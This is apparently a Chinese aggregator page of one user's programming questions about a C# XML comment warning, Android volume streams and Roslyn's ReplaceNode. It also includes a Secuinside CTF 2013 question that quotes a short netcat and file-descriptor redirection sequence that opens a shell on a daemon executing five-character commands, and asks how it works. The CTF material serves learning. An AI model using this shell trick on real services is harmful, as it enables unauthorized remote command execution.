小编J.-*_* C.的帖子

缺少公开可见类型或成员的XML注释

我收到此警告:"缺少公开可见类型或成员的XML注释".

怎么解决这个?

c# visual-studio

365
推荐指数
10
解决办法
17万
查看次数

从服务调用setVolumeControlStream

我需要setVolumeControlStream通过一个播放声音的服务来呼叫STREAM_SYSTEM.显然在一个没有问题的Activity中,但是如何使用服务呢?

android android-service android-audiomanager

17
推荐指数
1
解决办法
3842
查看次数

"黑客"通往5个字符的远程shell

本周末,CTF战争正在进行,Secuinside CTF 2013(http://war.secuinside.com/)

作为一名计算机安全人员,我看了看CTF结束后的挑战和解决方案.

其中一个挑战是在服务器上获取远程shell,因为在此服务器上运行了一个名为"givemeshell"的守护进程.该守护进程所做的是在所选端口上保持套接字打开,假设端口为12345.

当套接字接收到某些东西时,守护进程获取前5个字符并在shell中启动它们.

例如,如果我发送cat file,守护进程将cat f在shell中启动该命令.没有响应发送,所以我无法知道命令的结果.

目标是读取包含该标志的文件.

现在,有人给了我这个解决方案:

$ nc 1.2.3.4 12345
4<>a

$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_
Run Code Online (Sandbox Code Playgroud)

我测试了这个解决方案并且有效.但是花了几个小时试图理解它之后,我仍然无法弄清楚它的作用以及它的工作原理.我明白这是关于重定向某事......

有人可以向我解释一下吗?谢谢!

security bash shell

11
推荐指数
1
解决办法
1403
查看次数

Roslyn - 找不到SyntaxNode.ReplaceNode()

按照本教程http://msdn.microsoft.com/en-us/vstudio/hh543922.aspx,我正在尝试使用应该在SyntaxNode类中的ReplaceNode方法.

问题是,我有这个错误:"Roslyn.Compiler.CSharp.SyntaxNode不包含'ReplaceNode'的定义

有任何想法吗?

.net c# roslyn

5
推荐指数
1
解决办法
429
查看次数